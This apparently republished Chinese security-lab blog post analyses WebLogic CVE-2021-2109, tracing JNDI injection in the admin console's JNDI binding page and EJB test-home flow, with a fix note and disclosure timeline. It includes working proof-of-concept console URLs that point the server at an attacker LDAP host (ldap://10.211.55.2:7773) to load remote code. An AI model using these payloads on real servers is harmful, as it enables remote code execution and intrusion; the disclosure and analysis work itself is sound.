漏
洞
挖
掘
一、简介
二、漏洞分析
在console组件的后台可以看到对应服务器的JNDI树结构,这个功能对应的URL是
通过查看consolejndi.portal的代码可以看到console这个组件是使用WebLogic Portal Framework框架进行开发的,其中对于应用程序的呈现使用的是Netuix这个XML框架。
对于框架本身的一些细节本篇文章不会扩展,有兴趣的同学可以自行阅读相关文档。
这里通过查看consolejndi.portal的代码,并且将pageLabel锁定为JNDIBindingPageGeneral就可以查看到关于这个功能的呈现代码,由于代码量太大,这里只贴出关键代码:
<netuix:content>
<!-- Definition for the current tab -->
<netuix:book markupName="book" markupType="Book" definitionLabel="JNDIBindingPage" title="jndi.binding.title">
<netuix:singleLevelMenu markupType="Menu" markupName="singleLevelMenu"/>
<netuix:content>
<!-- Definition for the JNDI Context Page tab -->
<netuix:page markupName="page" markupType="Page" definitionLabel="JNDIBindingPageGeneral"
title="tab.overview.label">
<netuix:meta name="helpid" content="1234;unassigned"/>
<netuix:content>
<netuix:layout type="no" markupType="Layout" markupName="NoLayout">
<netuix:placeholder usingFlow="false" markupType="Placeholder" markupName="ph1">
<netuix:content>
<netuix:portletInstance contentUri="/PortalConfig/jndi/jndibinding.portlet"
instanceLabel="JNDIBindingPortlet"
markupType="Portlet"/>
</netuix:content>
</netuix:placeholder>
</netuix:layout>
</netuix:content>
</netuix:page>
通过对这段代码的分析可以得出这个功能的呈现代码的实例资源地址为jndibinding.portlet,通过查看jndibinding.portlet的代码可以得出具体实现是交给JNDIBindingAction完成的,jndibinding.portlet代码如下:
<portal:root
xmlns:netuix="http://www.bea.com/servers/netuix/xsd/controls/netuix/1.0.0"
xmlns:portal="http://www.bea.com/servers/netuix/xsd/portal/support/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.bea.com/servers/netuix/xsd/portal/support/1.0.0 portal-support-1_0_0.xsd">
<netuix:portlet definitionLabel="JNDIContextPortlet">
<netuix:content>
<netuix:strutsContent
module="/core"
action="JNDIBindingAction"
refreshAction="JNDIBindingAction" />
</netuix:content>
</netuix:portlet>
</portal:root>
JNDIBindingAction的关键代码如下:
public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
...
DomainMBean domainMBean = MBeanUtils.getDomainMBean();
String context = bindingHandle.getContext();
String bindName = bindingHandle.getBinding();
String serverName = bindingHandle.getServer();
JNDIBoundObject valueBean = new JNDIBoundObject();
valueBean.setBindName(bindingHandle.getDisplayName());
ServerMBean serverMBean = domainMBean.lookupServer(serverName);
if (serverMBean != null) {
try {
Context c = ConsoleUtils.initNamingContext(serverMBean);
if (c != null) {
Object boundObj = c.lookup(context + "." + bindName); <-----sink
....
} else {
valueBean.addProblem("Unable to initialize the naming context for this server");
}
} catch (Exception var15) {
valueBean.addProblem(var15.getMessage());
}
} else {
valueBean.addProblem("Server not running");
}
....
....
}
}
}
为了确保这里的JNDI注入能够正常触发,还需要跟进initNamingContext查看上下文对象是否正确
public static Context initNamingContext(ServerMBean serverMBean) throws Exception {
...
...
...
...
Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", providerUrl);
InitialContext initialContext = new InitialContext(env);
return initialContext; <------ call
}
}
那么至此就可以确认这里存在一个安全漏洞,剩下的就是如何构造POC,回到上面的URL可以看到一个特征是通过;进行分割的,解码之后可以看的比较明显
http://10.211.55.4:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("javax.jms;QueueConnectionFactory;AdminServer")
在代码中是通过getComponents方法来获得JNDIBindingHandle的参数的,同样参数也是通过setComponents设置到对象中的,在设置和获取都是通过;进行分割,这里通过代码和URL可以看出来,那么lookup方法的参数也都是通过JndiBindingHandle获得的:
JndiBindingHandle bindingHandle = (JndiBindingHandle)this.getHandleContext(actionForm, request, "JNDIBinding");
String context = bindingHandle.getContext();
String bindName = bindingHandle.getBinding();
String serverName = bindingHandle.getServer();
JNDIBoundObject valueBean = new JNDIBoundObject();
valueBean.setBindName(bindingHandle.getDisplayName());
ServerMBean serverMBean = domainMBean.lookupServer(serverName);
if (serverMBean != null) {
try {
Context c = ConsoleUtils.initNamingContext(serverMBean);
if (c != null) {
Object boundObj = c.lookup(context + "." + bindName);
所以POC可以进行如下构造:
com.bea.console.handles.JndiBindingHandle("ldap://10.211.55.2:7773/test;t;AdminServer")
分别对应着context、bindName、serverName,另外这个拼接的.其实问题不大,不影响ldap收到请求,ldap收到请求后会重定向到codebase,只要codebase没错就可以实现远程代码执行,所以这里不需要针对拼接的.给传入的参数做出改变。
同样的,我们也在EJB发现了一个同样的漏洞:
<netuix:book definitionLabel="EJBTestHome" markupName="book"
backingFile="com.bea.console.utils.GeneralBackingFile"
threadsafe="true"
title="not.used"
presentationClass="wlsc-frame">
<netuix:titlebar/>
<netuix:content>
<netuix:page markupName="page" definitionLabel="EJBTestHomePage" title="not.used"
presentationClass="page-content">
<netuix:content>
<netuix:layout type="no" markupName="NoLayout">
<netuix:placeholder usingFlow="false" markupName="ph1">
<netuix:portlet definitionLabel="EJBTestHomePortlet">
<netuix:pageflowContent contentUri="/com/bea/console/actions/ejb/testhome/Flow.jpf" action="begin"
refreshAction="begin"/>
</netuix:portlet>
</netuix:placeholder>
</netuix:layout>
</netuix:content>
</netuix:page>
</netuix:content>
</netuix:book>
在com/bea/console/actions/ejb/testhome/Flow类中的begin方法存在一个JNDI注入。
public Forward begin() throws Exception {
Handle handle = this.getHandleContext((ActionForm)null, "JNDIContext");
if (handle == null) {
throw new AssertionError("No handle available");
} else {
String serverName = ((JndiContextHandle)handle).getServer();
String jndiName = ((JndiContextHandle)handle).getContext();
String returnTo = this.getQueryParam("returnTo");
this.clearMessages();
this.testHome(serverName, jndiName); <---- call
return PortalActionForward.getPortalActionForward(this.getRequest(), returnTo);
}
}
private void testHome(String serverName, String jndiName) {
try {
ServerMBean server = MBeanUtils.getServerMBean(serverName);
Context context = ConsoleUtils.initNamingContext(server);
context.lookup(jndiName); <----- sink
this.addMessage(1, "ejb.testhome.success", new Object[]{jndiName, serverName});
} catch (Exception var6) {
this.addMessage(2, "ejb.testhome.failure", new Object[]{jndiName, serverName});
this.addMessage(var6);
}
}
关于细节和构造与第一个触发点类似,这里不再赘述,POC如下:
console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://10.211.55.2:7773/test;AdminServer")&returnTo=aaa 1.console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://10.211.55.2:7773/test;AdminServer")&returnTo=aaa
二、总结与防护
可以看到此类漏洞的利用方式都需要请求外部codebase实现远程代码执行,对于此类利用方式可以升级JDK版本到包含JEP290功能的JDK,从而避免此类问题再次出现。
三、披露时间线
2020/11/5:发现问题并报告给官方
2020/11/6:官方接收并分配BUG号(S1378173),漏洞进入主线修复
2020/11/25:漏洞修复完成
2021/1/16:分配CVE号 CVE-2021-2109
2021/1/20:发布补丁
Reference:
[1] https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html
[2] https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw
END
「 往期文章 」
扫描二维码
获取更多姿势
穿云箭
安全实验室
本文始发于微信公众号(穿云箭安全实验室):WebLogic CVE-2021-2109的分析以及扩展
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论